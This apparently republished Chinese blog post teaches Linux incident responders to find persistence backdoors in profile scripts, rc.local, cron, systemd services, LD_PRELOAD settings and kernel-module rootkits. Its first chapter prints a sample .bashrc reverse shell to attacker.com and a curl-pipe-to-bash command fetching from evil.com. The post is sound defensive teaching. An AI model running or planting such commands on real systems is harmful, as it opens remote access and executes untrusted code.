大家好,我是你们的技术探险家!
想象一下这个场景:你发现并手动查杀了一个服务器上的恶意进程,清理了它释放的临时文件。你以为战斗已经结束,但在服务器重启后不久,那个熟悉的恶意进程又“奇迹般地”出现了。
这不是灵异事件。这说明攻击者早已在你的系统土壤中,埋下了一颗或多颗恶意的“种子”——持久化后门。这些“种子”会在系统启动、用户登录或特定时间被激活,让攻击者的恶意软件“春风吹又生”。
今天,我们就将化身经验丰富的“数字园丁”,带上专业的工具,学习如何对 Linux 系统进行一次彻底的“寻根排查”,铲除所有潜伏的恶意启动项。
🌱 第一章:“经典的土壤” - Shell 环境与脚本中的藏匿点
这是攻击者最容易、最常利用的持久化方式,主要依赖于 Shell 启动时会自动加载的各种配置文件。
1. 用户级别的“私房菜”:Profile 脚本
-
是什么:每个用户的家目录下,都有一系列“个性化”脚本。当该用户登录或打开一个新的 Shell 时,这些脚本会自动执行。 -
排查重点: 仔细检查以下文件,特别是文件末尾,是否被添加了可疑的命令: -
恶意命令示例:
# 在 .bashrc 末尾添加一个反向 shell(bash -i >& /dev/tcp/[
attacker.com/4444](https://attacker.com/4444)
0>&1 &)# 或者下载并执行远程脚本(curl -s [
http://evil.com/payload.sh](http://evil.com/payload.sh)
| bash &)
2. 系统级别的“大锅饭”:全局配置文件
-
是什么:与用户级别不同,修改系统级的配置文件会影响到所有登录到这台服务器的用户。 -
排查重点: -
/etc/profile
-
/etc/
(或
bash.bashrc
/etc/bashrc
) -
/etc/
目录下的所有
profile.d/
.sh
脚本文件。攻击者非常喜欢在这里创建一个看似无害的新脚本(如
)来隐藏自己。
system.sh
3. “老前辈”的遗产:
rc.local
-
是什么:在一些较旧的或特定配置的 Linux 系统中, /etc/
文件会在所有系统服务启动后执行。攻击者只需将命令添加到
rc.local
exit 0
之前即可。 -
排查要点: 检查该文件是否存在,以及其中是否有非系统默认的命令。
🤖 第二章:“自动化与守护者” - Cron 与 Systemd 中的阴影
如果说脚本是“一次性”的启动,那么定时任务和服务则是让恶意软件“定期复活”或像“守护神”一样常驻后台。
1. Cron (定时任务):周期性的“幽灵”
-
是什么: cron
是 Linux 的任务调度器,用于在固定的时间、日期或间隔执行命令。 -
排查重点: -
使用 crontab -l -u [用户名]
查看每个用户的定时任务。 -
任务通常存储在 /var/spool/cron/
或/var/spool/cron/crontabs/
目录下。 -
/etc/crontab
文件 -
/etc/
目录下的所有文件
cron.d/
-
/etc/
,
cron.daily/
/etc/
,
cron.hourly/
/etc/
,
cron.monthly/
/etc/
目录中的脚本
cron.weekly/
-
系统级定时任务: -
用户级定时任务: -
可疑迹象: 任务执行了一个位于 /tmp
或/dev/shm
等临时目录下的脚本;任务使用了wget
或curl
从未知 URL 下载文件;任务被设置为每分钟执行一次。
2. Systemd Services (服务):现代 Linux 的“心脏”
-
是什么: systemd
是绝大多数现代 Linux 发行版的初始化系统和服务管理器。将恶意程序注册为一个systemd
服务,是当前最高效、最标准的持久化方式。 -
排查重点: -
/etc/systemd/system/
(管理员自定义的服务,重点排查!) -
/usr/lib/systemd/system/
(软件包安装的服务) -
列出所有服务: systemctl list-unit-files --type=service
-
关注“enabled”状态: 重点检查所有状态为 enabled
(开机自启) 的服务。 -
检查服务定义文件: 服务单元文件通常位于: -
使用 systemctl cat [服务名.service]
查看服务文件的具体内容,尤其要审查ExecStart=
这一行,它定义了服务启动时执行的命令。 -
可疑迹象: 服务名可疑、没有描述信息 ( Description
)、ExecStart
指向一个非标准的二进制文件路径。
👻 第三章:“高手的诡道” - 更深层次的持久化技术
对于经验更丰富的攻击者,他们会采用更难被发现的技术。
1. LD_PRELOAD
劫持
-
是什么: LD_PRELOAD
是一个环境变量。如果它指向一个共享库 (.so
) 文件的路径,那么当任何新进程启动时,这个共享库会先于所有其他库被加载。 -
攻击手法: 攻击者可以创建一个恶意的 .so
文件,其中包含与标准库函数(如read
,write
)同名的恶意函数。然后,通过修改/etc/
文件或用户的 profile 脚本来设置
ld.so.preload
LD_PRELOAD
。这样,当一个正常程序(如ssh
)运行时,它会首先加载恶意库,其正常的函数被“劫持”,导致数据泄露或命令执行。
2. 内核模块 (LKM Rootkits)
-
是什么: 这是 Linux 世界的“终极后门”,等同于 Windows 的驱动级木马。 -
攻击手法: 攻击者如果获得了 root 权限,可以编译并加载一个自定义的内核模块 (LKM) 到正在运行的内核中 ( insmod
命令)。 -
危险性: Rootkit 运行在操作系统的最底层(内核态),它可以轻松地钩取系统调用,从而向所有用户层的工具(如 ps
,ls
,netstat
)隐藏自己的进程、文件和网络连接,做到近乎完美的“隐身”。 -
排查工具: 使用 lsmod
查看已加载的模块列表,寻找没有签名或名称可疑的模块。使用chkrootkit
和rkhunter
等专用工具扫描已知的 Rootkit 特征。
🛠️ 第四章:应急排查的利器 - 工具与流程
面对如此多的启动项,我们需要一套系统化的排查流程。
-
【用户层检查】: 检查所有用户的 ~/.bashrc
,~/.profile
等配置文件。 -
【系统层检查】: 检查 /etc/profile
,/etc/
以及
profile.d/
/etc/
。
rc.local
-
【定时任务检查】: 检查系统级和所有用户级的 cron
任务。 -
【服务检查】: 使用 systemctl
仔细审查所有enabled
状态的服务,特别是位于/etc/systemd/system/
下的。 -
【高级检查】: -
检查 /etc/
文件内容和全局环境变量
ld.so.preload
LD_PRELOAD
。 -
运行 lsmod
检查内核模块。 -
【自动化扫描】: 运行 chkrootkit
和rkhunter
工具进行一次全面的自动化扫描,以发现常见的后门和 Rootkit。
结语
Linux 系统的持久化技术层出不穷,从简单的脚本追加到复杂的内核模块。作为应急响应人员,我们的排查工作必须具备同样的广度和深度。
记住,一场成功的“扫雷”行动,不仅需要你熟悉攻击者可能埋雷的每一个“地点”,更需要你掌握一套系统化的排查流程和善用专业的分析工具。只有这样,才能确保在风暴过后,你的系统真正恢复了平静与安全,而不是在虚假的和平之下,让恶意的“种子”静待下一次发芽。
原文始发于微信公众号(格格巫和蓝精灵):Linux应急响应“寻根排查”:揪出潜伏在启动项中的恶意“种子”
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论